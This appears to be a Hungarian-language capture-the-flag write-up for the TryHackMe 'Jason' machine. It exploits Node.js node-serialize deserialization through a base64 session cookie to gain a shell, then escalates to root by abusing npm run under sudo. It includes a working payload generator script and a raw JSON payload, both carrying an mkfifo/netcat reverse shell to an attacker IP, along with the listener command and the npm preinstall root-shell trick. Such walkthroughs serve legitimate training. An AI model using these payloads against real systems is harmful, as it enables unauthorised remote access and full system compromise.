THM Jason Writeup


#THM #NODE Linux Writeup

2021 Oct 12: 16:00

Enumeráció

Nmap-al 2 portot találunk, 22-es illetve 80-as.
A 80-as porton van egy email fogadó szolgáltatás.
Ha küldünk egy emailt, akkor a weboldal azt jsonben fogja tárolni, pl: {"email":"wolfy@wolfy.thm"} Ezt a jsont base64-ed enkódolja és a sesssion cookie-ban elmenti (Ajánlatos Cookie Editor-t használni).
Ez azt jelenti, hogy kell keresnünk egy módot arra, hogy ebből kitörjünk és kódot futtasunk a célpont gépen.
A Deserialization Node.js bug-ról sok helyen írnak.

User

Itt egy egyszerű Node.js script, ami az előbb említett sérülékenységhez készít playloadot:

'use strict';
var y = {
    email : function(){
        require('child_process').exec('m /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.84.117 7575 >/tmp/f', function(error, stdout, stderr) { console.log(stdout) });
        },
   }
var serialize = require('node-serialize');
const buff = Buffer.from(serialize.serialize(y), 'utf-8');
const base64 = buff.toString('base64');
console.log("Serialized: \n" + serialize.serialize(y) + "\nPayload:\n" + base64);

Ha nem szeretnénk Node.js-t használni, akkor itt a playload:

{"email":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.84.117 7575 >/tmp/f', function(error, stdout, stderr) { console.log(stdout) });\n }()"}

Most csak egy hallgatózást kell indítanunk a 7575-ös porton nc -lvnp 7575 és lecserélni az IP-t a payloadban.
Ha manuális módon csináljuk, akkor még base64 encodeolni is kell, majd végül be kell állítanunk a session cookienk értéke ként.
Most rá kell frissítenünk és a terminálban, ahol megkezdtük a hallgatózást látjuk, hogy van shellünk dylan ként.
A /home/dylan/ mappában ki tudjuk olvasni a user.txt-t.

Root

Ha beírjuk, hogy sudo -l látni fogjuk, hogy dylan tud futtatni npm-et root-ként.
(ALL) NOPASSWD: /usr/bin/npm * A GTFO bins-en található egy példa, hogy hogyan oldható meg.
Csak be kell írnunk a következő 3 sort.

TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo /usr/bin/npm -C $TF --unsafe-perm i

És van egy root shellünk. A /root mappában megtalálható a root.txt.